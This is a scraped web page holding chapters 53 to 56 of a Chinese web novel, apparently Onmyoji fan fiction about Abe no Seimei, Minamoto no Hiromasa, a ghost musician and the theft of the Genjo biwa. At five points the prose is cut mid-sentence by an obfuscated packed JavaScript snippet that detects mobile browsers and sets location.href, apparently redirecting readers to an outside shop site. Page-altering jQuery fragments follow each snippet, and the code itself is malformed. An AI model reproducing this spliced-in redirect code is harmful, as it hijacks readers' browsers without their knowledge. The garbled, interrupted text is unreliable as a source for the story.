说着,晴明放开了手,展开折扇,悠哉悠哉地走开了。 晴明松开手之后,博雅才发现,方才晴明握过的地方传来了温暖的感觉,而且顺着手腕传导至全身,完全驱散了鬼公子附身所带来的寒冷。 “您……还在吗?”博雅试探性地问。 “我没事。”身体内部很快传来了鬼公子的应答:“看样子,大概是阴阳师晴明大人把他的灵力给了您,这样一来,在下的鬼气就对您造不成影响了。” “那还真是太好了。”博雅心神稍定,这才发现他身边的人包括天皇在内,都是一脸见了鬼的表情看着他。 似乎其他人都听不见鬼公子的声音…… 当博雅意识到这一点的时候,他的脸迅速红了起来,这样说来,他方才自言自语的行为…… 不过现在不是感到害臊的时候,博雅站起身来,朝天皇深鞠一躬,道:“请允许我试一试,那面玄象琵琶。” 用玄象琵琶来演奏,这种千载难逢的机会,如果现在不好好抓住的话,以后就恐怕再也不会有了。 天皇微微点了点头,示意宫廷乐师把琵琶交给博雅。 当博雅接过玄象琵琶的时候,他感到了一股血液中的悸动,这种感觉不仅仅是属于他的,也是属于鬼公子的。 武士会去追求更锋利的刀、猎人偏爱更刚劲的弓,而乐手,则会寻求更完美的乐器。 传说中的,玄象琵琶。 鬼公子死后仍然念念不忘的东西。 博雅深深吸了一口气,又慢慢呼出,他抱着琵琶,盘膝坐了下来,手指试探性地挑了挑弦。 他感觉到了另一只手的重量压在他的手指上,那只手冰冰冷冷地,但或许是晴明之前传递给他的灵力的作用,博雅并未感到不适。 博雅和鬼公子一同,拨动了玄象琵琶。 “铮——” 琵琶发出了响声。 能行! 博雅又惊又喜,险些叫出了声。 虽然只弹了一个音节而已,但博雅已能辨别出,这琵琶的音色堪称绝妙。 玄象琵琶果真名不虚传! 晴明朝博雅微微一笑,这次笑得倒是有了几分真心实意,他转身坐回了保宪身边。 “晴明,你是怎么知道那琵琶……”保宪悄声道。 “这个嘛,”晴明也悄悄笑道:“如果把我得到消息的途径告诉给师兄,恐怕你又要不高兴了。” 保宪叹气道:“算了,横竖也管不住你,我不问你了,你自己留个分寸就好,别忘了你是谁。” 晴明没再说话,微微阖了双目,静静地听这支源博雅与鬼公子共奏的曲子。 由于这是两人同奏的关系,乐音中除了博雅所特有的清越干净之外,还融入了些许沉重悲怆的味道,像是鬼公子灼灼而又惨淡的一生。 鬼公子生于平安京外,在这个出身即决定了一切的世界上,像他这样的孩子,被贵族们蔑称为“山民”。 从一开始,他的结局就已经是写定了的,不可能有任何转圜的余地。 但是偏巧,盲乐师蝉丸正住在他家隔壁,他自幼听着蝉丸的乐声长大,而蝉丸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918016|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情好的时候,也会点拨他一些技艺。 他十五岁的时候,蝉丸把一支名叫“叶二”的笛子送给了他,当作他长大成人的礼物。 他带着笛子,独自去了据说最喜好雅乐的风雅之地——平安京,他以为自己至少可以在那里博得一席之地。 但是他忘记了,如果雅乐可以帮他得到身份和地位,那为什么蝉丸会住在他家隔壁呢? 有些东西,根本不是靠着一腔热情就能做到的。 他最终在平安京街头饿死的时候,怀里还揣着那支蝉丸送给他的笛子。 他至死才明白,平安京,只不过是贵族们的风雅之地而已。 他死后成了鬼公子,而叶二也变成了一支会在清晨滴下露珠的鬼笛。 鬼公子自己也不知自己在世间飘荡了多少年,他只知道他看到了蝉丸离世,看到了他曾经住过的地方逐渐破败,最终只余一坯尘土。 最后,鬼公子还是回到了平安京,他明白了自己无法成佛的原因。 说到底,他还是不甘心,他这么多年苦苦寻觅的,无非也就是知音而已。 琵琶一曲,诉尽苍凉。 这是鬼公子一生的执念与爱恨。 席间有人似有所感,落下泪来,也有人茫然四顾,不知其所谓。 听不懂曲子的人无疑是幸运的。 晴明不动声色地眼眸微阖,但眼角似乎有了些微晶莹。 而博雅早已泪满沾襟。 当这一曲终了,博雅感到似乎有什么从自己身上脱离开来,紧接着,他眼前凭空出现了一个少年公子的身影,半透明看不清楚面容,但博雅无端地觉得,此人年纪应当是在二十岁左右。 那少年公子朝博雅躬身行礼,起身时笑了笑,没再说什么话,旋即就如被风吹散一般消逝了。 鬼公子走了,而博雅怅然若失。 很久没遇到过这样的人了。 能把一生都花费在雅乐上的人。 无论如何,这样的人都是值得尊敬的。 宴会结束之后,博雅想再去找安倍晴明谈谈,那个神秘的阴阳师显然比他更了解鬼公子此人。 他却根本没能找到安倍晴明。 53.疏离 当博雅踏上那条戾桥的时候,其实他是很抗拒的。 他倒是对那位传说中的“白狐公子”本人没什么意见,他所有的负面情绪不过是出于对未知事物的抗拒而已。 那些被传得神乎其神的阴阳术离他自己的日常生活实在太遥远了,而他现在被迫要走进一位阴阳师的宅邸,去拜访一位素有“天才阴阳师”之名的人。 不过说起来,这也不是博雅第一次接触这些神神鬼鬼的东西,就在不久之前,他还曾从一位鬼公子手中得到一支鬼笛,而前些天,他甚至还有过一次被鬼附身的经历。 也正是因此,博雅才终于下定决心,要来拜访安倍晴明。 因为这位“白狐公子”安倍晴明大概是这世上唯一了解鬼公子的人了。 “门扇上画着五芒星的宅院……”博雅走过戾桥,四下里张望着寻找安倍晴明的住处,没注意到身边有只血色翅膀的蝴蝶一直在跟着他飞。 如果他注意到那只蝴蝶,就会感到奇怪了,这会儿已是深秋,怎么可能还见得到蝴蝶? “啊!是这里了!”博雅眼睛一亮,快步走向了那扇紧闭的门,不知道是不是错觉,门扇上画着的金色五芒星似乎亮了一下。 还没等博雅抬起手来敲门,门竟然“吱呀”一声自己开了,博雅冷不防被吓得退了半步。 这……是被风吹开的吧?博雅一边安慰着自己,一边小心翼翼地踏进了这座宅院,等他回头想替宅院主人关上大门时,门竟然又自己关上了。 这次博雅心理倒是有了准备,没再被吓到。但是,等他看清楚自己面前的庭院时,他又惊住了。 庭院本身倒是没什么问题,姹紫嫣红,莺歌燕舞,但是……现在季节不对啊。 这些花……怎么可能违背时令呢? “这位大人,请往这边来。”不知从哪儿冒出来一个侍女打扮的女孩子,朝他躬身行了个礼,脸上没什么表情,淡淡地说:“晴明大人已经恭候您多时了。” “晴明大人?”博雅犹犹豫豫地问:“你是说,他知道我要来?” 那侍女没再应声,只顾引着博雅一路穿花拂柳。 这庭院看起来极大,但在侍女的引导下,不过十数步就走到了尽头。 迎面是三间木质抱厦,一个身着月白色狩衣的男子盘膝席地而坐,手中把玩着一柄精致小巧的蝙蝠扇,听见博雅的脚步声,便抬起头,微微一笑。 “抱歉打扰了,您就是晴明大人吧?” 博雅好奇地打量着对方,虽说他与安倍晴明并非第一次见面,但这还是第一次有机会这样近距离地观察对方的相貌。 晴明的面貌与传言相差不大,眼眸细长,眼尾微微翘起一点弧度,肤色白皙,唇若点朱,虽然眉目含笑,却是冷淡疏离的样子,反而让他显得更不好亲近了。 “不才正是安倍晴明。”晴明一笑,但显然只是出于礼貌而已,他整个人都是冷冷的样子,很容易让人联想起夜半清冽的月。 “不知博雅大人光临敝宅,有何见教?” “这……您怎么知道我会来?”博雅犹豫了一下,还是先问出了这个疑问。 “实在抱歉,不过我这里很少有客人造访,所以,当博雅大人您踏上戾桥的时候,在下稍微做了一点占卜。”晴明说话时的语气淡淡的,没什么情绪变化。 “难道说,我还在那座桥上的时候,你就已经知道我要来了吗?”博雅一惊,甚至忘记了用敬语。 “是啊。”晴明态度闲散地理了理狩衣的衣角,又抬起头来说:“所以,如果下次——我是说万一下次博雅大人又有了不幸见鬼的经历,在戾桥上喊一声就好,我听得见的。” “可是,”博雅挠了挠脑袋,说:“如果要请您帮忙的话,难道不该过来拜访才能显出诚意吗?” “你倒是第一个这样说的人。”客套的假笑忽然从晴明脸上消失了,他问:“你不怕我吗?” 晴明结了个法印,低声念诵着:“现成真姿。” 那引博雅进来的侍女忽然不见了,只剩下一张用纸剪就的小人躺在地上。 ! 博雅被骇得退了几步,惊疑不定地盯着那张纸人。 不过这还没完,晴明抬起一只手,那只从戾桥起就一直跟着博雅的蝴蝶翩翩飞来,在晴明指尖歇落了翅膀。 “看来刚才你完全没发现它呢。”晴明手指动了动,蝴蝶在他手中化作了万千光点,消散在空气里。 “它们是我的式神,是妖怪。你不怕吗?”晴明端坐在那里,细长的眼眸令他的脸像极了狐狸。 能够驭使妖鬼的安倍晴明是比妖鬼更可怖的存在,大家都是这样说的。 “这……就是阴阳术吗?”博雅过了好一阵才从惊愕中恢复过来,他迟疑了一下,从地上捡起那张巴掌大小的纸人,提到眼前端详:“真厉害啊。” “你说什么?”这次轮到晴明惊讶了,他原以为这一手会把对方吓走,他见过太多这样的人了。 那些怀着各种目的接近他的人,无论那些目的是善意还是恶意,晴明都会一视同仁地赶走他们,他不需要什么“朋友”或者是“政治上的盟友”,他一向都是这样认为,也是这样做的。 他以为自己真的不需要什么朋友。 “真厉害啊,晴明!”博雅一下子兴奋起来,把纸人递还到晴明手中:“这样说的话,你一定看得到那位与我同奏琵琶的公子吧!”他又忘记了敬语。 “您还真是位有趣的人,博雅大人。”晴明展开折扇,遮住了自己的半张脸:“你所谓的‘公子’,那可是货真价实的鬼哦,你也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928405|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕吗?” “说不怕……”博雅回想起鬼公子附身时一瞬间所带来的恐怖,不由得打了个寒噤,坦坦荡荡地说:“怎么可能啊。不过,一想到那位公子是难得的知音和乐友,那么他到底是人是鬼,也就不那么重要了。” 这个回答显然完全出乎了晴明的意料,他惊诧地睁大了眼睛,这是从博雅进门以来,晴明第一次表露出自己真实的情绪。 “你竟然是这样想的。”晴明喃喃自语,忽然扬手把纸人掷到了空中,纸人随即恢复了侍女的模样,朝晴明躬身行礼。 “樱,去拿酒来。” 待侍女领命离去之后,晴明才仿佛刚刚记起要征求本人的意见一般,朝博雅微微一笑,道:“陪我喝一杯酒,如何?” “当然可以。”博雅还惦记着要从晴明那里打听鬼公子的事,再加上他也是好酒之人,自然不会拒绝晴明的提议。 博雅撩起衣摆,坐到了晴明对面,虽有心打听,但面对着晴明那张脸,他却想不出一个合适的开场白。 “您刚才想问我,是不是看得到那个与你同奏琵琶的鬼?”倒是晴明先开了口,他微微眯着眼,手中折扇有一下没一下地摇着。 “身为阴阳师,看得到鬼是很平常的事。”晴明半开玩笑地说:“如果某天我看不到鬼,或许那才是大祸临头。” “那他长什么样子!”博雅连忙凑近了晴明。 “这个嘛,”晴明用折扇掩去了唇角的笑意,慢悠悠地说:“我以为,鬼怪的尊容还是不要轻易说给你听为好。” “尤其是冻饿致死之人所化成的鬼,那副模样可不是生者所愿意见到的。”晴明静静地笑道:“这大概也是那位公子不愿现身于人前的原因。” “冻饿致死?怎么会这样?”博雅自幼便养尊处优,根本想象不到竟然有人以这样的方式死在平安京。 晴明微微一笑,此时恰好樱端了酒走来,博雅闻到酒香就忘记了方才的提问,不等晴明说话便接过酒杯一饮而尽。 “好酒!”博雅问道:“我从没喝到过这样——晴明,这是什么酒?” “是用我庭院中的果子酿制的。”晴明一手搭在桌案上撑住下巴,笑道:“也许是受了结界中的灵气影响,那些果子格外香甜。用它酿酒不过是我闲来偶尔一试,没想到结果还不错。” “结界?”博雅咕哝着:“那也就是说只有在你这里才能喝到咯?那我今后可就要常常来叨扰了。” “……”听了博雅的话,晴明反而慢慢收敛起了笑意,他也饮尽了杯中之物,放下酒杯来道:“最好还是不要再来了。” “为什么?”博雅惊诧道。 “就像我和你说过的,和我扯上关系可不是什么好事。”晴明的眼神冷冷淡淡,倒是和他身边的侍女有些相像了。 54.再度造访 “可是……” “你所好奇的那位‘乐友’,他是自己找到我这里来的。”晴明垂下眼眸,显得意兴阑珊:“我原以为他把笛子给了你之后就已经成佛,但让我没想到的是,他后来又对我说,他还有最后一个愿望。” “也就是,想见一见玄象琵琶?”博雅不自觉地接上了晴明的话。 “没错。”晴明合上折扇,轻轻敲了敲自己的下巴:“我当时并不知道天皇打算设宴的事,那个家伙又非赖在我这里不肯走,没办法我只能留下他。” “再后来的事,你也知道了。”晴明懒懒地垂着眼眸:“宫中设有驱魔的术式,寻常鬼怪是不可能轻易进宫去的。所以我就叫他附到我身上,由我带他进去。” 说到这里,晴明的眼睛微微眯了起来,这一切的发生也未免太过于巧合了。 原本已经放下执念安心成佛的鬼公子为什么会突然再次出现在他面前?真的只是想见一见传说中的玄象琵琶吗? 况且,玄象琵琶已有百年不曾取出来示人,而鬼公子想见琵琶,偏巧几天后,天皇就把它拿了出来? 晴明从来不相信有什么恰到好处的巧合。 除非…… 有什么人出于某种目的,促成了它。 博雅却没注意到整件事有什么不对劲,他追问道:“还有呢?那位公子有没有提什么关于他的事?” “我知道的只有这些。”晴明把玩着手里小巧的酒杯,反问:“为什么你一定要知道那个人的过去?这对你来说有意义吗?” “我只是感到好奇而已。”博雅承认:“我想多了解他一些,就是这样。” “尘归尘,土归土。已逝者,不必追。”晴明喃喃自语,也不知是说给博雅还是自己。 他怔怔地出了一会儿神,忽然正色对博雅道:“你该走了,我已经把我知道的全部告诉给你了,从今往后,不要再来了。” 晴明几乎是把博雅硬生生驱赶了出去,“砰”地一声关上了大门。 “真是个怪人。”博雅搔了搔鬓角,完全搞不懂晴明反复无常的脾气。 “樱。”晴明叹了口气,转身回到抱厦里他惯常坐的位置坐下,唤来樱命令道:“把酒器都收了吧。” 但这次樱竟然没有立即听从晴明的命令。 “樱!”晴明稍稍提高了声音。 “那位博雅大人,今后真的不来了吗?”樱这才走过来,顺从地跪坐在晴明身边收拾着用过的酒器,同时低声问道。 “怎么?”晴明有些意外,这还是樱第一次对除了自己之外的人产生兴趣。 “刚刚晴明大人您似乎很开心的样子。”樱想了想,又补充了一句:“您很久没有这样开心过了。” “是这样吗?”晴明低语道:“连你都看出来了啊。” “不过,那又怎么样呢?”晴明闭上眼睛,用力仰靠在背后的栏杆上:“我不想再害任何人了。” “已经有太多的人为我而死了。” 只要保持现在这样就可以了,只要他这样做,他就不会再害死任何人。 但是终究事与愿违。 几天之后,博雅再次踏上了戾桥。 “……”这一次,博雅注意到了那只模样很特别的大蝴蝶。 当他知道了这蝴蝶其实是安倍晴明的耳目之后,他就莫名地觉得不舒服。 博雅移开目光,不再去看那只蝴蝶了。 其实他今天不想来。 但是没办法,谁叫他鬼使神差地答应了藤原道长的请求呢。 藤原道长是藤原兼家的小儿子,与博雅年纪相仿,两人私交一向不错。 他们两人的关系无关政治,因为如果藤原道长另有所图的话,他绝不会选择博雅这个友人。 稍稍对皇室有些了解的人都知道,博雅十几岁的时候就已经主动放弃了自己的皇子身份,天皇赐其“源”姓,命其作为臣子侍奉天皇。 毫无疑问,源博雅是个对权力毫无追求的人,能令他提起兴趣的或许只有雅乐和围棋。 而藤原道长的野心绝不亚于他一手遮天的父亲藤原兼家。 这样性情截然相反的两个人能成为朋友,似乎是一件让人难以置信的事情。 博雅想起朋友对他提“那件事”时的苦脸,不由得叹了口气,自言自语道:“到底为什么会觉得我和那位安倍晴明很熟啊。” 藤原道长会下这样的结论,似乎只是因为博雅在弹奏玄象琵琶之前,晴明主动去握了一下博雅的手腕。 据藤原道长所说,安倍晴明此人素来不喜与人交往,更不用提什么肢体上的接触。而他竟然主动去亲近博雅,这大概就足以说明晴明与博雅关系匪浅了。 “那是因为……”博雅没办法解释说这是他被鬼附身的缘故,尤其是在“那件事”发生之后。 所以,博雅稀里糊涂地就答应了下来,这就是他再次造访晴明宅院的理由。 和上一次几乎完全一致,宅院的大门忽然吱呀一声打开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932804|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有表情的侍女静静站在门前,似乎已经等待多时了。 “博雅大人。”侍女深深向博雅鞠了一躬,但这次却没有急着带博雅进去,而是压低了声音,恳求般地说:“请您无论如何都不要放弃我家晴明大人。” “这是什么意思?”博雅完全摸不着头脑。 名叫樱的侍女再次朝博雅鞠躬道:“晴明大人他或许对您态度不好,但实际上他是很希望您来的。” “所以,拜托您了。”樱又弯下了身子。 “樱。”一个身着月白色狩衣的清瘦男子从花树后走出来,手中捏着柄折扇,神色中带着些严厉——正是安倍晴明。 他正皱着眉,注视着他的侍女:“别做多余的事。”他的态度并没有多少苛责的意味,但也绝对谈不上好。 接着,晴明好似根本没看见博雅一般,转身就要回去。 “晴明大人!”博雅连忙叫住晴明。 “博雅大人,我记得我同您说过,最好不要再踏足敝宅。”晴明没回头,冷冷地说:“如果想叫我帮忙驱鬼占卜的话,只要站在戾桥上喊一声就可以。” “可是那样做的话,也未免太失礼了!”博雅大步绕到晴明面前,高声嚷道:“而且接下来我要说的这件事,不宜被太多人知道!” “哦?”晴明定定地注视着博雅,似乎在衡量博雅这话的分量,最后他展开了折扇:“既然这样,请吧,博雅大人。” 言罢,晴明便慢悠悠走进了抱厦。 “实在抱歉,博雅大人。”樱匆匆赶上前来,语气急促地解释道:“晴明大人他有不得不这样做的苦衷,请您理解。” 这十年来,在晴明的教导之下,樱已经开始渐渐懂得了人情世故。 她在逐渐变得更像一个寻常的人类,而安倍晴明却越来越像是个脾性古怪的妖。 “算了,没什么。”博雅摊了摊手,打了个无奈的手势,跟着晴明走到了抱厦里坐下。 “那么,博雅大人。”晴明盘膝坐着,折扇慢慢摇着:“您遇到了什么?” 这种拿腔作势的恭敬态度让博雅感到不太舒服,好像对方专门为了表示疏离才采取的这般态度一样。 博雅记得晴明此前似乎是称他作“博雅君”的,不过从他上次登门造访时起,戏谑一般的“博雅君”就变成了冷淡的“博雅大人”。 博雅搞不懂晴明态度产生变化的原因,不过现在不是执着于称谓的时候。 他身上还肩负着藤原道长的请求呢。 55.失窃 “你是说,玄象琵琶失窃了?”晴明微微蹙眉,重复了一遍博雅刚刚传达给他的消息。 博雅点点头,抬手按了按眉心,说:“我听说的正是这样。” “那么这种事,大概不应该来拜托我吧。”晴明淡淡地说:“你们需要做的是搜查所有可疑人士的宅邸,而不是坐在这里试图依靠阴阳师的占卜。” “像这样的事情,怎么能惊动太多人嘛。”博雅解释说:“而且,据说玄象琵琶是一夜之间在宫中消失的,以宫廷防卫的严密程度来看,偷走玄象琵琶的恐怕不会是人类。” “原来如此,大概的情形我是了解了。”晴明啪地一声合上折扇,眼神锐利如矩,注视着博雅:“不过我还有一个问题。” “玄象琵琶失窃的事,你是自己想要调查,还是说有什么人要你到这里来找我?” “这,有区别吗?”博雅搔了搔鬓角,不太明白晴明问这个问题的用意。 晴明没说话,不过他的态度显然毋庸置疑。 博雅犹豫了一下,决定对晴明和盘托出:“是我的朋友道长,他最近被玄象琵琶的事搞得心烦意乱,所以才叫我来找您的。” “失礼了,不过,道长是指……” “是藤原道长,就是那位藤原兼家大人的儿子。” 晴明忖度着说:“那么,请带我去见见那位藤原大人吧。刚好也有些细节需要向他确认一下。” “欸?你答应了?”博雅原以为自己还要再多费一番口舌呢。 “对,我答应了。”晴明站起身来,朝樱点了点头,说:“我想也不会有什么危险,你就暂且留下来吧。” “是,愿晴明大人武运昌隆。”樱驯顺地低下头应诺。 这是为了看守戾桥的封印而立下的约定,当晴明因故而不得不离开戾桥的时候,樱就会担负起看守封印的职责。 晴明微微一笑,把蝙蝠扇揣入怀中,理了理狩衣的衣角,对着博雅道:“劳烦博雅大人您带路了。” 晴明并不是无缘无故便应下博雅的要求的,最近发生的一系列事件过于巧合,他一直疑心有人在暗中促成这一切。不过让他想不通的是,如果真有这样一个人存在的话,那么此人如此大费周章,目的又是什么呢? 总不可能只是为了把源博雅这个人送到他面前来吧。 与其毫无根据地胡思乱想,还不如顺应那个人的计划将计就计——这就是晴明的打算。 除此之外,在听到藤原这个姓氏的时候,晴明也产生了疑心,以藤原兼家目前手中掌握着的势力 来看,如果他想让天皇拿出玄象琵琶,这件事恐怕不难做到。 但是仍有不对劲的地方,藤原家即使权势滔天,但是他们也同样没有命令鬼公子听从命令、瞒过晴明的能力。 除非…… 藤原家有阴阳师相助。 目前平安京中,能做到驭使鬼怪而且不被晴明察觉的阴阳师只有贺茂保宪一人,而保宪恰好是个绝对不可能做任何对晴明不利之事的人。 但是如果再把目光放得长远些,在平安京之外,则有一个最可疑的人选存在。 卢屋道满。 十年前杀死贺茂忠行,至今在逃的大阴阳师。 晴明一直相信,当年他和贺茂忠行父子给卢屋道满使了那么大的绊子,以卢屋道满的性格,他不可能轻易善罢甘休,迟早都会回到平安京来寻仇。 这也是晴明执意要断绝与人交往的原因,卢屋道满是他平生所见到过的、最可怕的对手,他不想把任何人牵扯进来。 如果躲在这整件事背后的人是藤原兼家和卢屋道满的话,这些巧合似乎就都能解释得通了,但是对方设局的目的依然扑朔迷离。 于情于理,晴明都必须要去见对方一面,敌人必须要从暗处移到明处,这样无论发生什么,都更容易应对。 戾桥这一带距离藤原道长的宅院甚远,晴明坐上了博雅来时所乘坐的牛车。 两个并不是很熟悉的人同乘一车,这显然是一件非常尴尬的事情,这其中的尴尬之处,相信经历过这件事的人都会明白。 晴明生性喜静,再加上他多年不与人交往,倒是没有什么不舒服的感觉,但博雅就不同了。 “对了,晴明大人,您为何不再称我做‘博雅君’了?”博雅抓耳挠腮了半晌,才想出这个不算是话题的话题。 “哦?难道说您更喜欢‘博雅君’这个称呼吗?”晴明稍稍扬起了眉毛。 “不,倒也没什么喜不喜欢的。”博雅迟疑了一下,说:“我只是有点在意,为什么您会忽然改换对我的称谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951397|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?是不是有谁说过什么?” “为什么这样问?”晴明静静地望着博雅。 “因为这种事情确实发生过啊。”博雅一提起这事就头疼,抱怨道:“有人说什么‘源博雅曾经是皇子,身份尊贵不可亵渎’这种话,搞得很多人对我的态度都毕恭毕敬的,这简直就是……” “原来是这样。”晴明抿了抿嘴唇,说道:“那么请您放心,博雅君,并没有人对我说过什么话,我改变对您的称谓这件事,也与您的身份无关,纯粹只是我个人的原因而已。” 博雅好奇地问:“个人?那是什么样的原因啊?” “请恕我不能说。”晴明移开目光,朝窗外望去。 “那好吧。”博雅也跟着望向了窗外,喃喃着:“如果有人能真的不在意我的身份就好了……” 而让博雅没想到的是,在他说完这话的一瞬间,晴明蓦然转回了头,默默地望着他,眼眸中似乎盛满了他看不懂的情绪。 “原来你也……”晴明低声说,不过他这话只说了一半,很快便咽下不再说了。 博雅心怀疑惑,不过碍于他与晴明不熟,而晴明又是一副不愿多谈的样子,他也不好多问,只得暂时压下了疑惑。 车厢中再次归于沉寂,不过不知怎么,时间似乎不那么难熬了。 “到了。”牛车缓缓停在了一座宅邸门前,训练有素的仆人替博雅和晴明打开了车厢的门。 狭窄的车厢中不便推让,博雅很自然地第一个下了车,晴明紧随其后。 “这里……我好像来过?”晴明微微皱起了眉毛,慢慢环顾着四周,这里的景物让他感到有些熟悉,但一时记不起何时来过。 不过,这个地方似乎距离他原来的宅邸很近,也就是遭受卢屋道满招来的雷火烧毁的那一座。 一想起这些,晴明的脸色顿时变得很难看。 卢屋道满这个名字曾给过他太多不堪的记忆,所以,如果卢屋道满真的卷土重来的话,晴明是绝对不会放过他的。 怀着这样的决意,晴明跟着博雅和引路的家仆,走进了这座莫名熟悉的宅院。 与晴明想象的完全不同,坐在庭院中等待着他们的,并不是野心家和卢屋道满,而是个二三十岁模样、穿着单薄浴衣和木屐、轻狂豪放的年轻人。 56.藤原道长 “晴明大人,请。”年轻人坐在庭院中的石亭里,朝晴明点头微笑,随后又朝博雅笑道:“我就不同你提那个字了,知道你不喜欢这个,坐吧。” 晴明狐疑地打量着年轻人,后者似乎看穿了晴明一般,态度很自然地解释说:“我是父亲的第五个儿子,父亲前些年搬到了别处建邸,把这座旧宅子留给了我。” “我是藤原道长,首次见面,请多指教。”说到这里,藤原道长又笑了起来:“不,实际上,你我早就不是第一次见面了。” “什么意思?”晴明皱了皱眉,他可不记得他与这位藤原道长有过什么交情。 “也难怪你不记得。”藤原道长爽朗地一笑,解释说:“那都是十多年前的事了,贺茂忠行大人曾带你和你师兄贺茂保宪大人来为我妹妹绥子驱鬼——那个时候,你才多大?” “……”经过藤原道长的提示之后,晴明才隐隐约约地回想起,曾经似乎确实有过这样的事。 “没记错的话,那次应该是‘般若’吧?”藤原道长笑道:“也正是从那次开始,我就注意到了你。” “我?” 藤原道长点头道:“没错,你虽然比你的师兄年纪要更小些,但似乎比他更早地看穿了般若的真面目——你们阴阳师中,应该也是很重视天赋的吧?” “和你的师兄相比,你的天赋——” “抱歉。”藤原道长的话还没有说完,便被晴明打断了,他正色道:“请不要这样比较我与师兄,阴阳师并非只由天赋决定优劣,若是综合考虑,师兄比我强得太多了。” “我并没有恶意。”藤原道长苦笑道:“事实上,在玄象琵琶丢失之后,我父亲便第一时间去找来了保宪大人,可是,他对此一筹莫展。” “一筹莫展?”晴明重复了一遍藤原道长的话。 “没错,或者也可以说是一无所获。”藤原道长摊手道:“他甚至去了收藏玄象琵琶的那间屋子检查,但是根本没有发现任何鬼怪闯进来偷走玄象琵琶的迹象。” “所以天皇陛下认为这件事属于人为,打算找理由把当时与会的贵族们的宅邸全部查抄一遍。”藤原道长稍稍压低了声音:“而这样一来,就会牵涉到很多东西——我这样说,你能明白我的意思吧?” 原来如此,晴明垂下眼眸暗忖,难怪这位藤原道长会找到他这里,原来是师兄铩羽之后,天皇打算查抄——不,多半是天皇借题发挥,想要铲除异己而已。 这位天皇刚刚即位,大概正处于无法轻易信任任何人的阶段,而与藤原家的关系大概也只是貌合神离而已,或许实质上的关系还会更差。 毕竟藤原兼家不久前曾设计逼迫上一位天皇退位,狼子野心自然不言而喻。 天皇必然是不希望看到这样的人掌握权力的。 藤原道长见晴明垂头不语,他也不急,转而去与博雅攀谈,还叫来仆人给他们倒上了酒,似乎并不是很在意晴明是否应下他的要求。 “对了,我听说朝中最近有人在试图寻访卢屋道满的下落,大概是想把他找回来与你的师兄争夺地位吧。”最后,藤原道长状似无意地抛出了一个无疑会让晴明勃然变色的消息。 果不其然,晴明的脸色一下子就变了,他无意识地捏住了衣角,将其攥成了皱皱巴巴的一团,他的声音仿佛是从牙缝中挤出来的一般:“他们怎么能这样做……卢屋道满他,他杀了……” “谁在乎呢?”藤原道长坦坦荡荡地一笑:“政治嘛,不就是这么回事。如今的阴阳道,贺茂一家独大,几乎掌握着所有占卜的权力,这本身就不是大家所愿意看到的局面,而我的父亲,连他也信任着贺茂保宪。” 信任贺茂保宪的含义也就是贺茂保宪正在效忠于藤原兼家,这一点晴明早就心知肚明,而一联想到天皇实际上并不信任藤原兼家,一股寒意便从晴明心底升了起来。 果不其然,藤原道长接下来所说的话,印证了晴明的想法。 他说:“天皇陛下正在寻找一个可以与贺茂保宪分庭抗礼的阴阳师,这个时候,有人举荐了卢屋道满。” “你和我说这些,无非也就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970266|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想……”晴明深深吸了口气,试图让自己冷静下来。 